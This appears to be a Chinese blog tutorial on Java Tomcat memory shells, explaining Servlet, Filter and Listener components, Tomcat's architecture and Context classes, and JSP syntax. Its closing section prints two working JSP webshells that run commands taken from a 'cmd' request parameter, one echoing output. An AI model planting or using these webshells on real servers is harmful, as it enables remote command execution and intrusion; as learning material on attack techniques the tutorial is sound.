Java Tomcat内存马基础

内存马简介

内存马是无文件Webshell,就是服务器上不会存在需要链接的Webshell脚本文件。

原理

  • 利用Java Web组件:动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。
  • 修改字节码:利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

内存马类型

目前安全行业主要讨论的内存马主要分为以下几种方式:

servlet-api类

  • filter型
  • listener型
  • servlet型

spring类

  • 拦截器
  • controller型

Java Instrumentation类

  • agent型

Java web三大件

当 Tomcat 接收到请求时候,依次会经过 Listener -> Filter -> Servlet

Servlet

什么是servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

请求的处理过程

1、客户端发起一个http请求,比如get类型。

2、Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。

3、Servlet容器调用HttpServlet的init() 方法,init方法只在第一次请求的时候被调用。

4、Servlet容器调用service() 方法。

5、service() 方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法。

6、doXXX方法中是我们自己写的业务逻辑。

7、业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。

8、容器关闭时候,会调用destory方法

import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;  
import java.io.IOException;  

// 基础恶意类  
@WebServlet("/servlet")  
public class ServletTest implements Servlet {  
    @Override  
 public void init(ServletConfig config) throws ServletException {  

    }  

    @Override  
 public ServletConfig getServletConfig() {  
        return null;  
 }  

    @Override  
 public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {  
    }  

    @Override  
 public String getServletInfo() {  
        return null;  
 }  

    @Override  
 public void destroy() {  

    }  
}

servlet生命周期

1、服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)

2、servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res) 方法中执行

3、服务器关闭时,销毁这个servlet对象,执行destroy() 方法。

4、由JVM进行垃圾回收。

Filter

简介

filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

基本工作原理

1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。

2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。

3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。

4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。

5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。

6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

简单理解:

  • 其实就是 Filter 中的 Filter 访问需要在 web.xml 里面定义路径,这就非常人性化,因为有些接口我们需要加 Filter,有些不用。
  • Filter 有一条 FilterChain,也就是由多个 Filter 组成的,会进行一个个的 Filter 操作,最后一个 Filter 最后会执行 Servlet.service()

filter的生命周期

与servlet一样,Filter的创建和销毁也由web容器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。

开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。

Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。

destory方法在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

流程: web.xml 里面找接口 —-> init() —-> 执行 doFilter() —-> destory()

import javax.servlet.*;  
import java.io.IOException;  

public class FilterTest implements Filter {  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  

    }  

    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        // 在这里面进行 doGet 和 doPost 这种类似的  
 }  

    @Override  
    public void destroy() {  

    }  
}

filter链

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。

Listener

简介

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

  • ServletContextListener:对Servlet上下文的创建和销毁进行监听;
  • ServletContextAttributeListener:监听 Servlet 上下文属性的添加、删除和替换;
  • HttpSessionListener:对 Session 的创建和销毁进行监听。Session 的销毁有两种情况,一个中 Session 超时,还有一种是通过调用 Session 对象的 invalidate() 方法使 session 失效。
  • HttpSessionAttributeListener:对 Session 对象中属性的添加、删除和替换进行监听;
  • ServletRequestListener:对请求对象的初始化和销毁进行监听;
  • ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。

用途

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

Tomcat

Tomcat主要功能

tomcat作为一个 Web 服务器,实现了两个非常核心的功能:

  • **Http 服务器功能:**进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文
  • **Servlet 容器功能:**加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求

tomcat将http请求文本接收并解析,然后封装成HttpServletRequest类型的request对象,传递给servlet;同时会将响应的信息封装为HttpServletResponse类型的response对象,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器

Tomcat 架构

以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)。

Server

即服务器,代表整个 Tomcat 服务器,它要能够提供一个接口让其它程序能够访问到这个 Service 集合、同时要维护它所包含的所有 Service 的生命周期,包括如何初始化、如何结束服务、如何找到别人要访问的 Service。

一个 tomcat 只有一个 Server,Server 中包含至少一个 Service 组件,用于提供具体服务。

Service

Service 主要是为了关联 Connector 和 Container,同时会初始化它下面的其它组件,在 Connector 和 Container 外面多包一层,把它们组装在一起,向外面提供服务,一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。

Tomcat 中 Service 接口的标准实现类是 StandardService ,它不仅实现了 Service 借口同时还实现了 Lifecycle 接口,这样它就可以控制它下面的组件的生命周期了

Connector

称作连接器,是 Service 的核心组件之一,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进行处理,Container 处理完之后在交给 Connector 返回给客户端。

根据运行的逻辑图,我们也能看到连接器 connector 主要有三个功能:

  • socket 通信,也就是网络编程
  • 解析处理应用层协议,封装成一个 Request 对象
  • 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse

以上分别对应三个组件 EndPoint、Processor、Adapter 来完成:

  • EndPoint: 负责网络通信,将字节流传递给 Processor;
  • Processor: 负责处理字节流生成 Tomcat Request 对象,将 Tomcat Request 对象传递给 Adapter;
  • Adapter: 负责将 Tomcat Request 对象转化成 ServletRequest 对象,传递给容器。

Endpoint与Processor有一个组合名称为ProtocolHandler

Container

Container(又名Catalina)用于处理Connector发过来的servlet连接请求,它是容器的父接口,所有子容器都必须实现这个接口,Container 容器的设计用的是典型的责任链的设计模式,它有四个子容器组件构成,分别是:Engine、Host、Context、Wrapper,这四个组件不是平行的,而是父子关系,Engine 包含 Host,Host 包含 Context,Context 包含 Wrapper。

四种容器的作用:

  • Engine: 最顶层容器组件,可以包含多个 Host。实现类为 org.apache.catalina.core.StandardEngine
  • Host: 代表一个虚拟主机,每个虚拟主机和某个域名 Domain Name 相匹配,可以包含多个 Context。实现类为 org.apache.catalina.core.StandardHost
  • Context: 一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。实现类为 org.apache.catalina.core.StandardContext
  • Wrapper: 一个 Wrapper 对应一个 Servlet。负责管理 Servlet ,包括 Servlet 的装载、初始化、执行以及资源回收。实现类为 org.apache.catalina.core.StandardWrapper

如以下图,a.com和b.com分别对应着两个Host

每一个 Context 都有唯一的 path。这里的 path 不是指 servlet 绑定的 WebServlet 地址,而是指独立的一个 Web 应用地址。就好比 Tomat 默认的 / 地址和 /manager 地址就是两个不同的 web 应用,所以对应两个不同的 Context。要添加 Context 需要在 server.xml 中配置 docbase。

如下图所示, 在一个 web 应用中创建了 2 个 servlet 服务,WebServlet 地址分别是 /Demo1 和 /Demo2 。 因为它们属于同一个 Web 应用所以 Context 一样,但访问地址不一样所以 Wrapper 不一样。 /manager 访问的 Web 应用是 Tomcat 默认的管理页面,是另外一个独立的 web 应用, 所以 Context 与前两个不一样。

Tomcat Pipeline 调用链

1、Connector 在某个指定的端口上来监听客户端发来的请求

2、Connector 使用 ProtocolHandler 处理器处理收到的请求,并用Adapter发送到Container 处理

3、Container 使用 Pipeline-valve 管道处理请求,每个 Pipeline 都有一个最后执行的、不可删除的 BasicValve ,通常命名为 Standard(xxx)Valve ,如上图所示,上层容器 valve 调用下层 valve 形成链式结构

  • EnginePipeline : EngineValve1 -> … -> StandardEngineValve
  • HostPipeline : HostValve1 -> … -> StandardHostValve
  • ContextPipeline : ContextValve1 -> … -> StandardContextValve
  • WrapperPipeline : WrapperValve1 -> … -> StandardWrapperValve

4、创建 FilterChain ,如果一个 URL 对应多个 Filter 则进行链式调用

5、最终由 Servlet 处理请求,并将处理的结果返回给 Connector

6、Connector 把响应回传给客户端

Tomcat 的类加载机制

由于 Tomcat 中有多个 WebApp 同时要确保之间相互隔离,所以 Tomcat 的类加载机制也不是传统的双亲委派机制。

Tomcat 自定义的类加载器 WebAppClassloader 为了确保隔离多个 WebApp 之间相互隔离,所以打破了双亲委托机制。每个 WebApp 用一个独有的 ClassLoader 实例来优先处理加载。它首先尝试自己加载某个类,如果找不到再交给父类加载器,其目的是优先加载 WEB 应用自己定义的类。

同时为了防止 WEB 应用自己的类覆盖 JRE 的核心类,在本地 WEB 应用目录下查找之前,先使用 ExtClassLoader(使用双亲委托机制)去加载,这样既打破了双亲委托,同时也能安全加载类。

Tomcat 中的三个 Context 的理解

Context

context是上下文的意思,在java中经常能看到这个东西。那么到底是什么意思呢?

如果把某次请求比作电影中的事件,那么context就相当于事件发生的背景。例如一部电影中的某个镜头中,张三大喊“奥利给”,但是只看这一个镜头我们不知道到底发生了什么,张三是谁,为什么要喊“奥利给”。所以就需要交代当时事情发生的背景。张三是吃饭前喊的奥利给?还是吃饭后喊的奥利给?因为对于同一件事情:张三喊奥利给这件事,发生的背景不同意义可能是不同的。吃饭前喊奥利给可能是饿了的意思,吃饭后喊奥利给可能是说吃饱了的意思。

在WEB请求中也如此,在一次request请求发生时,背景,也就是context会记录当时的情形:当前WEB容器中有几个filter,有什么servlet,有什么listener,请求的参数,请求的路径,有没有什么全局的参数等等。

ServletContext

ServletContext是Servlet规范中规定的ServletContext接口,一般servlet都要实现这个接口。

大概就是规定了如果要实现一个WEB容器,他的Context里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的servlet等

package javax.servlet;


import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;


public interface ServletContext {
    String TEMPDIR = "javax.servlet.context.tempdir";

    String getContextPath();
    ServletContext getContext(String var1);
    int getMajorVersion();
    int getMinorVersion();
    int getEffectiveMajorVersion();
    int getEffectiveMinorVersion();
    String getMimeType(String var1);
    Set getResourcePaths(String var1);
    URL getResource(String var1) throws MalformedURLException;
    InputStream getResourceAsStream(String var1);
    RequestDispatcher getRequestDispatcher(String var1);
    RequestDispatcher getNamedDispatcher(String var1);
    /** @deprecated */
    Servlet getServlet(String var1) throws ServletException;
    /** @deprecated */
    Enumeration getServlets();
    /** @deprecated */
    Enumeration getServletNames();
    void log(String var1);
    /** @deprecated */
    void log(Exception var1, String var2);
    void log(String var1, Throwable var2);
    String getRealPath(String var1);
    String getServerInfo();
    String getInitParameter(String var1);
    Enumeration getInitParameterNames();
    boolean setInitParameter(String var1, String var2);
    Object getAttribute(String var1);
    Enumeration getAttributeNames();

    void setAttribute(String var1, Object var2);

    void removeAttribute(String var1);

    String getServletContextName();

    Dynamic addServlet(String var1, String var2);

    Dynamic addServlet(String var1, Servlet var2);


    Dynamic addServlet(String var1, Class var2);

     extends Servlet> T createServlet(Classvar1) throws ServletException;

    ServletRegistration getServletRegistration(String var1);

    Map ? extends ServletRegistration> getServletRegistrations();

    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);

    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);

    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);

     extends Filter> T createFilter(Classvar1) throws ServletException;
    FilterRegistration getFilterRegistration(String var1);
    Map ? extends FilterRegistration> getFilterRegistrations();
    SessionCookieConfig getSessionCookieConfig();
    void setSessionTrackingModes(Setvar1);

    Set getDefaultSessionTrackingModes();

    Set getEffectiveSessionTrackingModes();

    void addListener(String var1);
     extends EventListener> void addListener(T var1);

    void addListener(Class var1);
     extends EventListener> T createListener(Classvar1) throws ServletException;
    JspConfigDescriptor getJspConfigDescriptor();
    ClassLoader getClassLoader();
    void declareRoles(String... var1);
}

可以看到ServletContext接口中定义了很多操作,能对Servlet中的各种资源进行访问、添加、删除等。

ApplicationContext

在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章,简单来讲就是加一层包装。也可以理解为 AOP 吧

其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet, addFilter

StandardContext

org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作。而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法。

Tomcat 三个 Context 总结

我们可以用一张图来表示各Context的关系

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

JSP 基础

什么是JSP

JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。

JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。

当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。

JSP 环境的搭建

直接用 maven 起一个项目,然后为项目添加web框架支持;然后在项目结构那里选择依赖添加一个lib目录作为依赖目录;接着从tomcat自带的jar包中把jsp-api.jar和servlet-api.jsp复制到lib目录下;最后配置tomcat运行环境即可。

JSP的语法

脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下

<% 代码片段 %>

example:

<html>  
<body>  
<h2>Hello World!!!</h2>  
<% out.println("GoodBye!"); %>  
</body>  
</html>

JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的 Java 代码使用。JSP 声明语句格式如下

<%! 声明  %>

同样等价于下面的XML语句

<jsp:declaration> 代码片段 </jsp:declaration>

example:

<html>
<body>
<h2>Hello World!!!</h2>
<%! String s= "GoodBye!"; %>
<% out.println(s); %>
</body>
</html>

JSP 表达式

<%= 表达式 %>

等价于下面的XML表达式

<jsp:expression> 表达式 </jsp:expression>

example:

<html>
<body>
<h2>Hello World!!!</h2>
<p><% String name = "john"; %>username:<%=name%></p>
</body>
</html>

JSP 指令

SP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令

指令描述
<%@ page … %>定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include … %>包含其他文件
<%@ taglib … %>引入标签库的定义,可以是自定义标签

比如我们能通过page指令来设置jsp页面的编码格式

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

回显是一样的,因为 JSP 属于模板引擎

JSP 注释

jsp的注释格式如下:

<%-- 注释内容 --%>

JSP内置对象

JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下

  • 由 JSP 规范提供,不用编写者实例化
  • 通过 Web 容器实现和管理
  • 所有 JSP 页面均可使用
  • 只有在脚本元素的表达式或代码段中才能使用
对  象类型说  明
requestjavax.servlet.http.HttpServletRequest获取用户请求信息
responsejavax.servlet.http.HttpServletResponse响应客户端请求,并将处理信息返回到客户端
outjavax.servlet.jsp.JspWriter输出内容到 HTML 中
sessionjavax.servlet.http.HttpSession用来保存用户信息
applicationjavax.servlet.ServletContext所有用户共享信息
configjavax.servlet.ServletConfig这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContextjavax.servlet.jsp.PageContextJSP 的页面容器,用于访问 page、request、application 和 session 的属性
pagejavax.servlet.jsp.HttpJspPage类似于 Java 类的 this 关键字,表示当前 JSP 页面
exceptionjava.lang.Throwable该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象。

传统文件马

有了一定的 Tomcat 架构的理解和 JSP 的一些基础,我们可以正式开始学习内存马了

我们先来看一看传统的 JSP 马是什么样子的

<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

上面是最简单的一句话木马,没有回显,适合用来反弹shell。我们这里弹个计算器看一看。

下面是一个带回显的JSP木马

<% if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}

%>

参考资料

Java内存马系列-01-基础内容学习

Java内存马系列-02-内存马介绍

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇